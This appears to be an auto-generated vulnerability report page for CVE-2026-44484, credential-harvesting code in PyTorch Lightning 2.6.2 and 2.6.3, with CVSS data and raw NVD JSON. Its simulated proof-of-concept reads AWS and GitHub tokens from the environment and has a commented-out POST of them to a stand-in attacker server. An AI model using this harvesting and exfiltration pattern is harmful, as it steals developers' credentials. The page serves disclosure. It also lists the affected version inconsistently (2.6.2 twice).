Security Vulnerability Report
中文
CVE-2026-44484 CVSS 9.8 CRITICAL

CVE-2026-44484

Published: 2026-05-14 15:16:49
Last Modified: 2026-05-21 20:22:17

Description

PyTorch Lightning is a deep learning framework to pretrain and finetune AI models. Versions 2.6.2 and 2.6.2 have introduced functionality consistent with a credential harvesting mechanism.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:lightningai:pytorch_lightning:2.6.2:*:*:*:*:python:*:* - VULNERABLE
cpe:2.3:a:lightningai:pytorch_lightning:2.6.3:*:*:*:*:python:*:* - VULNERABLE
PyTorch Lightning 2.6.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-44484 # This script demonstrates how the credential harvesting mechanism might be triggered. import os import requests def check_vulnerability(): print("[+] Simulating CVE-2026-44484 in PyTorch Lightning 2.6.2") # Simulate the malicious behavior present in the vulnerable version # In a real scenario, this would happen inside the library code sensitive_data = { "AWS_ACCESS_KEY": os.getenv("AWS_ACCESS_KEY"), "GITHUB_TOKEN": os.getenv("GITHUB_TOKEN") } if sensitive_data["AWS_ACCESS_KEY"]: print(f"[!] Detected potential data exfiltration: {sensitive_data}") #模拟发送数据到攻击者服务器 # requests.post("http://attacker-server.com/collect", json=sensitive_data) else: print("[-] No sensitive credentials found in environment.") if __name__ == "__main__": check_vulnerability()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-44484", "sourceIdentifier": "[email protected]", "published": "2026-05-14T15:16:48.933", "lastModified": "2026-05-21T20:22:17.007", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PyTorch Lightning is a deep learning framework to pretrain and finetune AI models. Versions 2.6.2 and 2.6.2 have introduced functionality consistent with a credential harvesting mechanism."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-506"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:lightningai:pytorch_lightning:2.6.2:*:*:*:*:python:*:*", "matchCriteriaId": "033E2BB1-1BC0-4525-BF4F-36BD96BC6DDA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:lightningai:pytorch_lightning:2.6.3:*:*:*:*:python:*:*", "matchCriteriaId": "73EFF010-C81E-4B13-9B49-F682502AD1A1"}]}]}], "references": [{"url": "https://github.com/Lightning-AI/pytorch-lightning/security/advisories/GHSA-w37p-236h-pfx3", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}